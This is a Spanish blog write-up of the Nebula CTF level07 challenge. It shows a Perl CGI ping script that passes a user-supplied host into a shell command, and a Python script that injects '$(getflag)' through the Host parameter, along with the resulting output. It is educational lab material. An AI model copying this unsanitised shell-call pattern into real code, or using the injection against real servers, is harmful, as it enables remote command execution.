Pages

viernes, 20 de julio de 2018

Nebula CTF - level07

El usuario flag07 nos plantea un nuevo reto:

level07@nebula:/home/flag07$ ls -al
total 10
drwxr-x--- 2 flag07 level07  102 2011-11-20 20:39 .
drwxr-xr-x 1 root   root     160 2012-08-27 07:18 ..
-rw-r--r-- 1 flag07 flag07   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag07 flag07  3353 2011-05-18 02:54 .bashrc
-rwxr-xr-x 1 root   root     368 2011-11-20 21:22 index.cgi
-rw-r--r-- 1 flag07 flag07   675 2011-05-18 02:54 .profile
-rw-r--r-- 1 root   root    3719 2011-11-20 21:22 thttpd.conf

El fichero de configuración thttpd.conf advierte algún tipo de servidor. ¿En qué puerto estará escuchando?

level07@nebula:/home/flag07$ cat thttpd.conf | grep port
# Specifies an alternate port number to listen on.
port=7007

Por otro lado, veamos el contenido del recurso index.cgi:

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
 $host = $_[0];

 print("<html><head><title>Ping results</title></head><body><pre>");

 @output = `ping -c 3 $host 2>&1`;
 foreach $line (@output) { print "$line"; } 

 print("</pre></body></html>");
 
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Perfecto, no está ofuscado, y es muy simple. Se trata de un script en Perl que invoca el comando ping con el host proporcionado por el usuario como parámetro y devuelve el resultado en una página web correctamente formateada. Este reto debería recordarnos al de level02, un comando que se ejecuta directamente en la shell y que contiene valores bajo el control del usuario. A pesar de que este nivel puede resolverse directamente con nc (netcat), aprovecharemos la oportunidad para afinar nuestras habilidades de programación en Python:

import socket

def connect(ip, port):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
                s.connect((ip, port))
                print("[+] Conectado a " + ip + ":" + str(port))
        except:
                print("[X] Se producjo un error de conexion")
                exit(1)

        return s

def exploit():
        s = connect("localhost", 7007)
        s.send("GET /index.cgi?Host=\"$(getflag)\" HTTP/1.0\n\n")
        print(s.recv(1024))
        print(s.recv(1024))
        print(s.recv(1024))
        s.close()

if __name__ == "__main__":
        exploit()

La hora de la verdad:

level07@nebula:/home/flag07$ python /tmp/level07.py
[+] Conectado a localhost:7007
HTTP/1.0 200 OK

Content-type: text/html

<html><head><title>Ping results</title></head><body><pre>
ping: unknown host You have successfully executed getflag on a target account
</pre></body></html>

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...